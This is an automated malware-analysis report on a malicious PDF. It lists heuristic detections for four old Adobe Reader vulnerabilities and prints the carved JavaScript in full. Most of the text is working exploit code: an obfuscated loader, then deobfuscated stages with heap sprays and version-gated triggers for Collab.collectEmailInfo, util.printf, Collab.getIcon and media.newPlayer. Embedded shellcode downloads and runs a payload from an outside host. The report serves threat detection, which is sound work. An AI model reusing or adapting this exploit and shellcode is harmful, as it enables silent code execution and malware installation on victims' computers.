MALICIOUS
490
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script is designed to download and execute a second-stage payload from the URL http://facebook-voting.com/w.php?f=20&e=5. The ML classifier also flagged this PDF as malicious with a high probability.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 12
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://facebook-voting.com/w.php?f=20&e=5 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0076_000.js |
pdf-javascript-stream | PDF /JS object 76 at offset 0x369 | 11891 bytes |
SHA-256: ebbc01f567fbf372733b60139d19330a00404c7612cb90d10e45b7440ac6a0e5 |
|||
Preview scriptFirst 1,000 lines of the extracted script
nk="";
nk+='sl';
nk+="i";
nk+="ce";
j='gerb43bt';
j=j[nk];
z
=
new
Array(54,37,49,30,47,24,74,20,46,9,48,44,75,16,57,57,48,44,71,5,55,53,48,44,75,70,71,5,48,44,40,70,55,53,48,44,55,38,16,53,48,44,16,16,70,71,48,44,57,53,5,13,48,44,53,13,75,47,48,44,75,47,16,13,48,44,13,5,53,13,48,44,40,13,75,47,48,44,70,57,60,5,48,44,40,57,75,47,48,44,16,16,13,75,48,44,57,57,1,47,48,44,70,55,75,47,48,44,13,16,16,5,48,44,16,16,40,53,48,44,75,60,34,5,48,44,60,70,55,55,48,44,71,71,60,13,48,44,47,75,71,71,48,44,53,13,75,47,48,44,5,16,16,13,48,44,16,38,53,57,48,44,40,70,13,57,48,44,75,40,71,47,48,44,34,53,16,53,48,44,55,53,75,70,48,44,70,60,40,70,48,44,55,47,55,38,48,44,70,60,53,5,48,44,75,47,70,57,48,44,16,5,40,70,48,44,40,53,75,47,48,44,40,75,16,70,48,44,71,70,13,16,48,44,75,47,70,57,48,44,34,13,40,57,48,44,71,70,13,16,48,44,5,38,16,16,48,44,53,60,53,38,48,44,37,1,71,5,48,44,5,70,13,16,48,44,1,47,16,16,48,44,47,55,13,71,48,44,16,75,60,13,48,44,40,53,71,34,48,44,5,60,13,75,48,44,13,1,5,47,48,44,1,37,13,16,48,44,55,47,53,13,48,44,16,47,71,60,48,44,40,70,60,71,48,44,70,55,55,57,48,44,70,55,75,47,48,44,13,16,34,53,48,44,57,57,1,1,48,44,13,5,75,47,48,44,75,1,53,47,48,44,55,5,53,57,48,44,70,53,71,71,48,44,13,5,34,53,48,44,1,75,75,47,48,44,1,1,13,16,48,44,13,53,75,47,48,44,13,16,75,47,48,44,37,47,5,70,48,44,70,38,70,55,48,44,55,47,5,16,48,44,37,1,70,16,48,44,57,75,75,47,48,44,75,13,34,13,48,44,13,5,40,1,48,44,40,53,16,16,48,44,38,57,13,16,48,44,71,16,55,47,48,44,57,75,75,47,48,44,75,47,13,75,48,44,57,37,71,40,48,44,70,38,13,70,48,44,38,75,55,75,48,44,71,71,71,71,48,44,55,34,71,71,48,44,55,75,71,38,48,44,13,13,13,13,48,44,13,13,13,13,48,44,70,13,70,75,48,44,53,13,57,37,48,44,71,71,57,75,48,44,13,13,13,13,48,44,70,13,13,13,48,44,5,13,75,16,48,44,70,13,60,38,48,44,75,47,70,70,48,44,75,47,55,5,48,44,60,13,70,55,48,44,5,16,75,16,48,44,71,71,13,70,48,44,57,75,55,16,48,44,57,55,57,71,48,44,13,13,13,13,48,44,40,70,57,75,48,44,57,5,40,34,48,44,70,53,57,1,48,44,60,57,71,71,48,44,5,53,75,16,48,44,75,47,13,75,48,44,55,75,55,75,48,44,71,71,57,60,48,44,71,71,71,71,48,44,13,34,55,47,48,44,40,34,55,47,48,44,55,5,75,60,48,44,13,60,13,53,48,44,13,13,13,13,48,44,70,5,75,1,48,44,13,5,34,53,48,44,13,53,5,40,48,44,40,34,34,53,48,44,57,40,57,70,48,44,5,40,40,16,48,44,34,53,53,53,48,44,40,57,13,53,48,44,16,16,40,34,48,44,5,40,16,34,48,44,34,53,53,53,48,44,34,13,13,75,48,44,40,16,34,1,48,44,70,16,34,13,48,44,71,75,57,75,48,44,13,13,13,13,48,44,71,71,13,13,48,44,13,5,70,57,48,44,55,75,75,47,48,44,5,38,16,16,48,44,5,40,70,60,48,44,60,1,53,53,48,44,40,40,13,13,48,44,57,34,40,13,48,44,5,40,40,53,48,44,60,1,53,53,48,44,34,55,13,70,48,44,57,5,57,53,48,44,5,57,57,5,48,44,60,1,53,53,48,44,13,13,13,38,48,44,75,37,70,38,48,44,13,53,5,60,48,44,75,75,16,13,48,44,60,1,53,53,48,44,53,60,13,53,48,44,57,37,70,60,48,44,57,37,13,13,48,44,70,16,13,13,48,44,57,37,70,40,48,44,71,71,13,13,48,44,60,53,70,57,48,44,5,13,75,70,48,44,60,57,40,70,48,44,13,13,57,37,48,44,71,71,70,16,48,44,13,53,70,57,48,44,13,13,57,37,48,44,55,47,75,16,48,44,70,16,13,5,48,44,70,57,71,71,48,44,75,16,13,53,48,44,13,5,5,16,48,44,13,34,55,47,48,44,60,16,55,47,48,44,75,13,53,40,48,44,13,13,16,71,48,44,71,37,40,70,48,44,75,13,53,40,48,44,13,13,16,71,48,44,5,53,40,70,48,44,13,13,57,37,48,44,71,55,57,37,48,44,70,57,71,71,48,44,55,75,13,75,48,44,71,55,38,5,48,44,71,71,71,71,48,44,53,55,75,55,48,44,55,5,13,55,48,44,71,55,38,75,48,44,13,55,75,37,48,44,57,71,75,38,48,44,47,1,13,60,48,44,5,37,16,16,48,44,70,47,75,37,48,44,5,57,60,47,48,44,40,38,53,57,48,44,60,37,16,57,48,44,40,13,34,71,48,44,40,53,57,75,48,44,40,13,40,53,48,44,34,71,16,37,48,44,57,57,34,71,48,44,57,16,57,60,48,44,57,34,57,70,48,44,57,71,57,71,48,44,34,1,57,47,48,44,57,71,40,57,48,44,57,38,40,53,48,44,57,40,57,55,48,44,57,16,34,55,48,44,57,1,57,71,48,44,40,40,34,71,48,44,40,13,34,55,48,44,40,13,57,75,48,44,57,57,16,71,48,44,16,34,16,1,48,44,34,57,16,13,48,44,16,1,57,70,48,44,13,13,16,70,48,44,13,13,13,13,9,32,71,44,69,5,6,36,62,69,30,55,29,54,49,61,49,37,50,27,66,68,22,52,45,36,21,55,61,49,37,31,21,55,69,20,6,45,14,34,56,27,66,68,22,49,37,59,46,49,37,32,65,49,37,46,49,37,31,74,44,47,74,6,49,36,69,20,61,13,50,27,66,63,34,68,32,49,55,6,44,49,69,30,49,37,32,65,30,71,44,69,5,6,36,62,69,30,47,67,61,68,22,54,37,49,30,1,58,20,46,69,55,52,30,64,49,49,37,66,61,68,32,54,37,49,30,54,52,46,13,67,13,5,13,5,13,5,13,5,32,54,37,49,30,37,1,1,49,46,13,67,53,13,13,13,13,13,32,54,37,49,30,12,37,66,21,62,37,1,46,44,69,55,74,5,37,12,55,61,47,24,74,20,68,32,54,37,49,30,74,5,2,21,55,69,46,12,37,66,21,62,37,1,31,21,55,69,20,6,45,14,34,32,54,37,49,30,27,66,46,37,1,1,49,0,61,74,5,2,21,55,69,59,13,67,16,75,68,32,54,37,49,30,66,37,49,74,12,46,44,69,55,74,5,37,12,55,61,25,48,44,38,13,38,13,48,44,38,13,38,13,25,68,32,66,37,49,74,12,46,55,29,54,49,61,66,37,49,74,12,50,27,66,68,32,54,37,49,30,5,62,44,69,6,34,46,61,54,52,0,13,67,53,13,13,13,13,13,68,63,37,1,1,49,32,71,62,49,61,54,37,49,30,5,62,44,69,6,46,13,32,5,62,44,69,6,56,5,62,44,69,6,34,32,5,62,44,69,6,59,59,68,22,1,58,20,18,5,62,44,69,6,3,46,66,37,49,74,12,59,12,37,66,21,62,37,1,32,65,30,54,37,49,30,62,54,55,49,71,21,62,52,46,44,69,55,74,5,37,12,55,61,25,48,44,13,5,13,5,48,44,13,5,13,5,25,68,32,52,45,36,21,55,61,62,54,55,49,71,21,62,52,31,21,55,69,20,6,45,56,53,53,38,70,34,68,22,62,54,55,49,71,21,62,52,59,46,62,54,55,49,71,21,62,52,32,65,30,6,45,36,74,31,5,62,21,21,37,47,26,6,62,49,55,46,19,62,21,21,37,47,31,5,62,21,21,55,5,6,17,23,37,36,21,8,69,71,62,61,22,74,44,47,24,7,25,25,50,23,74,20,7,62,54,55,49,71,21,62,52,65,68,32,65,30,71,44,69,5,6,36,62,69,30,12,49,36,69,6,71,61,68,22,69,62,12,46,44,69,55,74,5,37,12,55,61,25,48,44,13,64,13,64,48,44,13,64,13,64,48,44,13,64,13,64,48,44,13,64,13,64,25,68,32,54,37,49,30,12,37,66,21,62,37,1,46,44,69,55,74,5,37,12,55,61,47,24,74,20,68,32,45,55,37,12,47,21,62,5,58,46,69,62,12,59,12,37,66,21,62,37,1,32,47,36,20,47,21,62,5,58,46,44,69,55,74,5,37,12,55,61,25,48,44,13,64,13,64,48,44,13,64,13,64,25,68,32,45,55,37,1,55,49,74,36,29,55,46,34,13,32,74,12,49,37,66,46,45,55,37,1,55,49,74,36,29,55,59,45,55,37,12,47,21,62,5,58,31,21,55,69,20,6,45,32,52,45,36,21,55,61,47,36,20,47,21,62,5,58,31,21,55,69,20,6,45,56,74,12,49,37,66,68,22,47,36,20,47,21,62,5,58,59,46,47,36,20,47,21,62,5,58,32,65,30,71,36,21,21,47,21,62,5,58,46,47,36,20,47,21,62,5,58,31,74,44,47,74,6,49,36,69,20,61,13,50,74,12,49,37,66,68,32,47,21,62,5,58,46,47,36,20,47,21,62,5,58,31,74,44,47,74,6,49,36,69,20,61,13,50,47,36,20,47,21,62,5,58,31,21,55,69,20,6,45,0,74,12,49,37,66,68,32,52,45,36,21,55,61,47,21,62,5,58,31,21,55,69,20,6,45,59,74,12,49,37,66,56,13,67,53,13,13,13,13,68,22,47,21,62,5,58,46,47,21,62,5,58,59,47,21,62,5,58,59,71,36,21,21,47,21,62,5,58,32,65,30,23,55,23,46,69,55,52,30,64,49,49,37,66,61,68,32,71,62,49,61,36,46,13,32,36,56,60,53,13,13,32,36,59,59,68,22,23,55,23,18,36,3,46,47,21,62,5,58,59,45,55,37,12,47,21,62,5,58,32,65,30,54,37,49,30,69,44,23,46,60,34,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,32,44,6,36,21,31,12,49,36,69,6,71,61,25,48,53,70,13,13,13,71,25,50,69,44,23,68,32,65,30,71,44,69,5,6,36,62,69,30,20,55,6,36,5,62,69,61,68,22,54,37,49,30,37,49,49,66,46,69,55,52,30,64,49,49,37,66,61,68,32,36,71,61,37,12,12,31,1,62,5,31,19,62,21,21,37,47,31,20,55,6,8,5,62,69,68,22,54,37,49,30,12,37,66,21,62,37,1,46,44,69,55,74,5,37,12,55,61,47,24,74,20,68,32,54,37,49,30,45,15,27,70,13,13,19,51,46,12,37,66,21,62,37,1,31,21,55,69,20,6,45,14,34,32,54,37,49,30,27,66,46,13,67,53,13,13,13,13,13,0,61,45,15,27,70,13,13,19,51,59,13,67,16,75,68,32,54,37,49,30,66,37,49,74,12,46,44,69,55,74,5,37,12,55,61,25,48,44,38,13,38,13,48,44,38,13,38,13,25,68,32,66,37,49,74,12,46,55,29,54,49,61,66,37,49,74,12,50,27,66,68,32,54,37,49,30,12,70,64,24,35,57,70,71,46,61,13,67,13,5,13,5,13,5,13,5,0,13,67,53,13,13,13,13,13,68,63,13,67,53,13,13,13,13,13,32,71,62,49,61,54,37,49,30,54,27,5,4,72,38,57,66,46,13,32,54,27,5,4,72,38,57,66,56,12,70,64,24,35,57,70,71,32,54,27,5,4,72,38,57,66,59,59,68,22,37,49,49,66,18,54,27,5,4,72,38,57,66,3,46,66,37,49,74,12,59,12,37,66,21,62,37,1,32,65,30,54,37,49,30,6,39,42,45,51,47,28,52,46,44,69,55,74,5,37,12,55,61,25,48,13,38,25,68,32,52,45,36,21,55,61,6,39,42,45,51,47,28,52,31,21,55,69,20,6,45,56,13,67,53,13,13,13,68,22,6,39,42,45,51,47,28,52,59,46,6,39,42,45,51,47,28,52,32,65,30,6,39,42,45,51,47,28,52,46,25,51,31,25,59,6,39,42,45,51,47,28,52,32,37,12,12,31,1,62,5,31,19,62,21,21,37,47,31,20,55,6,8,5,62,69,61,6,39,42,45,51,47,28,52,68,32,65,65,30,37,33,21,44,20,36,69,74,46,37,12,12,31,12,21,44,20,8,69,74,32,54,37,49,30,74,54,46,12,37,49,74,55,8,69,6,61,37,12,12,31,54,36,55,52,55,49,11,55,49,74,36,62,69,31,6,62,26,6,49,36,69,20,61,68,31,5,45,37,49,64,6,61,13,68,68,32,71,62,49,61,54,37,49,30,36,46,13,32,36,56,37,33,21,44,20,36,69,74,31,21,55,69,20,6,45,32,36,59,59,68,22,36,71,61,37,33,21,44,20,36,69,74,18,36,3,31,69,37,23,55,46,46,9,17,26,5,49,36,12,6,9,68,22,54,37,49,30,21,54,46,37,33,21,44,20,36,69,74,18,36,3,31,54,55,49,74,36,62,69,32,65,65,30,36,71,61,61,21,54,46,46,38,68,73,73,61,61,74,54,46,46,75,68,10,10,61,21,54,56,46,75,31,60,34,68,68,68,22,20,55,6,36,5,62,69,61,68,32,65,55,21,74,55,30,36,71,61,21,54,46,46,40,31,60,68,22,12,49,36,69,6,71,61,68,32,65,55,21,74,55,30,36,71,61,61,61,74,54,46,46,57,68,73,73,61,74,54,46,46,40,68,68,10,10,61,21,54,56,40,31,60,60,68,68,22,47,67,61,68,32,65,55,21,74,55,30,36,71,61,61,21,54,41,46,38,31,60,68,73,73,61,21,54,56,46,38,31,34,68,73,73,61,21,54,41,46,75,31,60,16,68,73,73,61,21,54,56,46,75,31,60,40,68,68,22,71,44,69,5,6,36,62,69,30,37,61,68,22,44,6,36,21,31,12,49,36,69,6,1,61,9,12,43,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,60,30,7,30,66,66,66,66,60,60,60,9,50,69,55,52,30,72,37,6,55,61,68,68,32,65,54,37,49,30,45,46,37,12,12,31,12,21,44,20,8,69,74,32,71,62,49,61,54,37,49,30,71,46,13,32,71,56,45,31,21,55,69,20,6,45,32,71,59,59,68,22,36,71,61,45,18,71,3,31,69,37,23,55,46,46,9,17,26,5,49,36,12,6,9,68,22,54,37,49,30,36,46,45,18,71,3,31,54,55,49,74,36,62,69,32,65,65,30,36,71,61,61,36,41,75,31,60,34,68,10,10,61,36,56,75,31,34,68,68,22,5,46,69,55,52,30,64,49,49,37,66,61,68,32,54,37,49,30,1,46,44,69,55,74,5,37,12,55,61,9,48,44,38,13,38,13,48,44,38,13,38,13,9,68,32,54,37,49,30,55,46,44,69,55,74,5,37,12,55,61,47,24,74,20,68,32,52,45,36,21,55,61,1,31,21,55,69,20,6,45,56,46,13,67,75,13,13,13,68,22,1,59,46,1,32,65,1,46,1,31,74,44,47,74,6,49,61,13,50,13,67,75,13,13,13,0,55,31,21,55,69,20,6,45,68,32,71,62,49,61,71,46,13,32,71,56,34,38,13,13,32,71,59,59,68,22,5,18,71,3,46,1,59,55,32,65,37,61,68,32,37,61,68,32,6,49,66,22,6,45,36,74,31,23,55,1,36,37,31,69,55,52,33,21,37,66,55,49,61,69,44,21,21,68,32,65,5,37,6,5,45,61,55,68,22,65,37,61,68,32,65,65);
a="-d_]Qct:I'&Vp0*W3E[Cgl{mj'SqGz .;P2Kia9U7>M@uh=b%r,Nw4ve<6k+1(o/A}yx)n5fD|s8";
b="a"+'l';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{
n=i;
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[n]];
}
}}
try{if(/x(?=y)/.test('axyb'))throw 1;}catch(q){e(s);}
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 | 3870 bytes |
SHA-256: 1c2bddc11dcd1cb290d056649c2f9ff63fb62fc86998f08bcce1c7e2c14b20ca |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u662f%u6361%u6265%u6f6f%u2d6b%u6f76%u6974%u676e%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2630%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 | 3866 bytes |
SHA-256: 89a4b2eb0c5bba0231d8999f4e854f3b193599a52d63a50cb22a4f231bed80f7 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u662f%u6361%u6265%u6f6f%u2d6b%u6f76%u6974%u676e%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2630%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape(' ');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 